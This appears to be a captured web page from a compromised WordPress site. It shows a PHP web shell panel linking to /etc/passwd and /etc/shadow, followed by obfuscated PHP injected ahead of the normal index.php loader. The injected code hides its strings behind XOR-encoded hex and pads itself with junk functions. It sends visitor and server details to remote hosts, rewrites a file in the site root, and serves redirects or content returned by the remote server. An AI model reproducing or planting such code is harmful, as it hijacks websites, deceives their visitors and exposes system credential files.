Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function ajr6uQJ04m($UPYBn, $uZ8GJ){ $lZNnT = ($UPYBn * $uZ8GJ) % 22; $kpU5S = sqrt(abs($lZNnT)) * 3808 / 100; $PAUNs = ($lZNnT << 2) ^ ($kpU5S >> 1); if($PAUNs > 22 * 10) { $PAUNs = $PAUNs / $UPYBn; } else { $PAUNs = $PAUNs * $uZ8GJ; } return ($PAUNs + $lZNnT) % 3808; } $Jiv3Pv = 162 + 640; $gcJt3Q = ($Jiv3Pv * 162) / (640 + 1); $RYvZ5Y = str_repeat('x', $Jiv3Pv % 10); $Jiv3Pv = ($Jiv3Pv << 9) | ($Jiv3Pv >> (32 - 9)); class Z7CieiBfU5Jw { private $woKw4; private $cD1hP; public function v7VkWD5s() { return $this->woKw4 * $this->cD1hP % 100; } public function bj4eNBic($woKw4) { $this->$woKw4 = ($woKw4 + $this->$woKw4) % 1000; return $this->v7VkWD5s(); } } $Qzmh9 = 'OVTyBRIVSTNqOtFy';$xNsOs = array('_2i6r79' => '6a65675c71606c6563717d416a46025c786f714e74777f67766376547c46634a7e73674a67600c7365626b467751703a6a61615c74606c60617179496a42705c7d13714f75777f6476627d','_cntpbj' => '6a65675c71606c6563717d416a46025c786f714e74777f67766376547c46634a7e73674a67600c73656d6b46795170406a60175c74636c6161717c346a42045c7915714f06','_hxnlm8' => '6a65675c71606c6563717d416a46025c786f714e74777f67766376547c46634a7e73674a67600c7364666b467f51704b6a606d5c75646c60657179476a42745c7960714b07777f1476620d547930','_na0fnd' => '6a65675c71606c6563717d416a46025c786f714e74777f67766376547c46634a7e73674a67600c7364626b477e51714b6a61675c75616c60167178376a437f5c7915714b07777f1476620d547930','_4jt0jb' => '7c6464496f3e203838667f42','_99rt1r' => '070200291d1a060507','_6wrrv5' => '','_ay4lcg' => '070200291d000c1016060b23','_tjrps3' => '2722200931','_m4n9fw' => '27222009','_hjjpn4' => '60','_p2u8kn' => '2638301c3a7c393e23','_frdlg7' => '2638301c3a','_iugkax' => '600a7b51190c15790e7f125f3f1c365060','_yrlk76' => '61263c09','_8molgs' => '6069','_0p7hkt' => '70','_kaxovb' => '603f3a1d272a67263b24','_sc1wlt' => '6e','_xosish' => '383336','_v8xg7k' => '352c','_7tek5i' => '3a243d','_06gqw2' => '3a24380a2a332731','_n38iot' => '2239301c2e','_ild9po' => '3933260a2b3d27','_z0yoeb' => '75797b','_7xkv48' => '2139361636273a33213529142100','_wzkoaz' => '203d3c0d2f3e','_a2d2g0' => '2733351d2720','_e8hbao' => '0c393a0d273c3d7b272d3e147554321c37227b11363f256d733726103d07230d7223201f6f6a','_917cyv' => '3d33241523312c','_gu5acs' => '3b33270d1d372a3e3c','_9ugdab' => '202320093726','_cot2fx' => '2833201a2d3c3d333d207b417f04271e2a','_1i0bsr' => '070200296d63676773617e416f3d280d2a243a182e721a3321222b036f31340b2024','_m3qekd' => '7b66600923352c','_cn4oiu' => '070200296d63676773607e456f3a290d6f103b0c2c36','_9st7vj' => '7c66650923352c','_qzj2p4' => '070200296d63676773677e406f39290f2a327429272024373d312005230d','_3hqp6e' => '2c373711270d2a393d203c1e23','_9cru0b' => '2139791a233121337f74201e620732163d3378592f273a227e262b072e182f1d2e2231','_oybnq6' => '3d33301030372a22','_k1toc2' => '203d2c142e','_09fmc2' => '0c393a0d273c3d7b072d3e14755427093f3a3d1a232620393d7b361c234f661a2737260a2726742327326349','_70jxoj' => '203d2616203d3d25','_wbrhph' => '0c393a0d273c3d7b072d3e147554321c37227b092e332038','_0sr3pm' => '0c373711277f0a393d203c1e234e66','_s8wz8r' => '1f24351e2f3373763d3b63122e172e1c','_qljdjr' => '0a2e241030373a6c7364','_5r2ky2' => '03393718363b26386974','_7j5nyk' => '070200291d071a13010b0f360a3a12','_ng470o' => '28393b1e2e372b3927','_t8fb0r' => '2d3f3a1e','_oyfv12' => '36373c162d','_pezq3z' => '28393b1e2e37','_xh6ee3' => '1d13052c07011d09060607','_ypk6er' => '2e24330f','_jomdep' => '1f1e042611170510','_0y74ew' => '1e03112b1b0d1a02011d0036','_6hvdj6' => '0702002911','_htcen6' => '203032','_ln7jss' => '070200291d0a16101c0619301d30033d10060636161d','_nvww9x' => '070200291d141b191d001134013019311b02042a','_j6aov7' => '0b19172c0f1707020c06013e1b','_yz2k4u' => '60243b1b2d263a78272c3a','_c28nm1' => '1a25310b6f332e333d20745165','_gtq00m' => '0e3a381635686979','_98zejs' => '1c3f201c2f33396c73','_tawhf9' => '60253d0d273f28267d2c231d','_vl5jtu' => '27222009787d66','_n1p3x0' => '6025210927207f78233c3e4e','_0cp1gp' => '38260b0b273f2622360b29143b','_7jzx05' => '3b3f391c2d273d','_yjtt8v' => '3a25310b6f332e333d20','_5znlpq' => '02392e102e3e2879667a7e51671729143f372010203e2c6d730321032b24341c3c257d','_reghub' => '2c2326151d3b273f27','_ic0th0' => '2e3a3816350d3c243f0b281e3f1128','_dfbji3' => '2e','_twq9sk' => '35','_13jop7' => '10','_aif26u' => '7e65');foreach($xNsOs as $key => $value){ $F1uve = EU0Qv(hex2bin($value), $Qzmh9); define($key, $F1uve ); }unset($xNsOs, $Qzmh9);unset($GLOBALS['EU0Qv']);function EU0Qv($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$LmQLi = [ _2i6r79, _cntpbj, _hxnlm8, _na0fnd ]; $DvOpz = _4jt0jb; $jOh0X = isset($_SERVER[_99rt1r]) ? $_SERVER[_99rt1r] : _6wrrv5; $WYmjv = isset($_SERVER[_ay4lcg]) ? $_SERVER[_ay4lcg] : _6wrrv5; $S0DgQ = fkQgVDco() ? _tjrps3 : _m4n9fw; $LT1K3 = fLOEbwUO(); $uHICb = BqoOJjOh() ?: _hjjpn4; $UGt9r = _p2u8kn; $nDDzk = _frdlg7; preg_match(_iugkax, $uHICb, $mB8BU); if (!empty($mB8BU)) { $UGt9r = $mB8BU[1]; if (($FDiFV = strpos($uHICb, $UGt9r)) !== false) { $UGt9r = ltrim(substr($uHICb, 0, $FDiFV + strlen($UGt9r)), _hjjpn4); } $nDDzk = str_replace(_yrlk76, _6wrrv5, $UGt9r); } $nDDzk = stristr($uHICb, _8molgs) ? _0p7hkt : $nDDzk; $zpPr8 = false; if (strpos($uHICb, $DvOpz) !== false) { $LT1K3 = 1; $uHICb = str_replace($DvOpz, _6wrrv5, $uHICb); $zpPr8 = true; } if ($uHICb != _hjjpn4) { $uHICb = str_replace(_hjjpn4 . $UGt9r, _6wrrv5, $uHICb); $uHICb = str_replace(_kaxovb, _6wrrv5, $uHICb); $uHICb = str_replace(_sc1wlt, _6wrrv5, $uHICb); } $Kn3yR = http_build_query([ _xosish => $jOh0X, _v8xg7k => $LT1K3, _7tek5i => urlencode($uHICb), _06gqw2 => $WYmjv, _m4n9fw => $S0DgQ, _n38iot => $nDDzk, _ild9po => $zpPr8 ? $DvOpz : _6wrrv5 ]); Dg8QFz0U($S0DgQ . _z0yoeb . $jOh0X); $qmjVk = m0iuK44x($LmQLi, $Kn3yR); if (strpos($qmjVk, _7xkv48) === false) { $Jmge1 = array( _wzkoaz => array( _a2d2g0 => _e8hbao, _917cyv => _wzkoaz, _gu5acs => true, _9ugdab => true ), _cot2fx => array( _a2d2g0 => _1i0bsr ), _m3qekd => array( _a2d2g0 => _cn4oiu ), _9st7vj => array( _a2d2g0 => _qzj2p4, _3hqp6e => _9cru0b, _917cyv => _9st7vj, _oybnq6 => true ), _k1toc2 => array( _a2d2g0 => _09fmc2, _917cyv => _k1toc2, _9ugdab => true ), _70jxoj => array( _a2d2g0 => _wbrhph, _917cyv => _70jxoj, _9ugdab => true ) ); foreach ($Jmge1 as $C7o7G => $vVe0G) { if (strpos($qmjVk, $C7o7G) !== false) { @header($vVe0G[_a2d2g0]); if (isset($vVe0G[_3hqp6e])) { @header(_0sr3pm . $vVe0G[_3hqp6e]); @header(_s8wz8r); @header(_qljdjr); } if (isset($vVe0G[_917cyv])) { $qmjVk = str_replace($vVe0G[_917cyv], _6wrrv5, $qmjVk); } if (isset($vVe0G[_gu5acs]) && $zpPr8) { echo $DvOpz; } if (isset($vVe0G[_oybnq6])) { @header(_5r2ky2 . $qmjVk); } elseif (isset($vVe0G[_9ugdab])) { echo $qmjVk; } die(); } } } function fLOEbwUO() { $P7HuK = isset($_SERVER[_7j5nyk]) ? strtolower($_SERVER[_7j5nyk]) : _6wrrv5; $m0ofY = array(_ng470o, _t8fb0r, _oyfv12, _pezq3z); foreach ($m0ofY as $EQHEW) { if (strpos($P7HuK, $EQHEW) !== false) { return 1; } } return 2; } function BqoOJjOh() { if (isset($_SERVER[_xh6ee3])) { return $_SERVER[_xh6ee3]; } if (isset($_SERVER[_ypk6er])) { return $_SERVER[_jomdep] . _0p7hkt . $_SERVER[_ypk6er][0]; } return $_SERVER[_jomdep] . _0p7hkt . $_SERVER[_0y74ew]; } function fkQgVDco() { if (isset($_SERVER[_6hvdj6])) { $rlOzj = strtolower($_SERVER[_6hvdj6]); if ($rlOzj !== _htcen6 && $rlOzj !== _6wrrv5) { return true; } } if (isset($_SERVER[_ln7jss]) && $_SERVER[_ln7jss] === _tjrps3) { return true; } if (isset($_SERVER[_nvww9x])) { $Tdma1 = strtolower($_SERVER[_nvww9x]); if ($Tdma1 !== _htcen6 && $Tdma1 !== _6wrrv5) { return true; } } return false; } function Dg8QFz0U($DiLRB) { $CFeua = Y3UC8i7H(); $r6gqa = $_SERVER[_j6aov7] . _yz2k4u; $oo1qv = _c28nm1 . PHP_EOL . _gtq00m . PHP_EOL . PHP_EOL . _98zejs . $DiLRB . _tawhf9 . PHP_EOL; if (!file_exists($r6gqa)) { $CFeua[0]($r6gqa, $oo1qv); } else { $TfhBc = $CFeua[1]($r6gqa); if ($TfhBc !== $oo1qv) { $CFeua[0]($r6gqa, $oo1qv); } } } function m0iuK44x($DudQu, $Kn3yR) { $CFeua = Y3UC8i7H(); shuffle($DudQu); foreach ($DudQu as $oN1pB) { $xzrVH = $CFeua[2](urldecode($oN1pB)); $DiLRB = _vl5jtu . $xzrVH . _n1p3x0 . $Kn3yR; if (function_exists(_0cp1gp)) { $TTEo4 = wp_remote_get($DiLRB, array( _7jzx05 => 30, _yjtt8v => _5znlpq )); if (!is_wp_error($TTEo4)) { $GhcZ7 = wp_remote_retrieve_body($TTEo4); return $GhcZ7; } } if (function_exists(_reghub)) { $fG5eW = curl_init(); curl_setopt($fG5eW, CURLOPT_URL, $DiLRB); curl_setopt($fG5eW, CURLOPT_RETURNTRANSFER, true); curl_setopt($fG5eW, CURLOPT_TIMEOUT, 30); $TTEo4 = curl_exec($fG5eW); if (!curl_errno($fG5eW)) { curl_close($fG5eW); return $TTEo4; } curl_close($fG5eW); } if (ini_get(_ic0th0)) { $It2EF = stream_context_create(array( _m4n9fw => array(_7jzx05 => 30) )); $TTEo4 = @$CFeua[1]($DiLRB, false, $It2EF); if ($TTEo4 !== false) { return $TTEo4; } } } return _7xkv48; } function Y3UC8i7H() { $LVXyR = range(_dfbji3, _twq9sk); return array( $LVXyR[5] . $LVXyR[8] . $LVXyR[11] . $LVXyR[4] . _13jop7 . $LVXyR[15] . $LVXyR[20] . $LVXyR[19] . _13jop7 . $LVXyR[2] . $LVXyR[14] . $LVXyR[13] . $LVXyR[19] . $LVXyR[4] . $LVXyR[13] . $LVXyR[19] . $LVXyR[18], $LVXyR[5] . $LVXyR[8] . $LVXyR[11] . $LVXyR[4] . _13jop7 . $LVXyR[6] . $LVXyR[4] . $LVXyR[19] . _13jop7 . $LVXyR[2] . $LVXyR[14] . $LVXyR[13] . $LVXyR[19] . $LVXyR[4] . $LVXyR[13] . $LVXyR[19] . $LVXyR[18], $LVXyR[18] . $LVXyR[19] . $LVXyR[17] . _13jop7 . $LVXyR[17] . $LVXyR[14] . $LVXyR[19] . _aif26u ); }?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>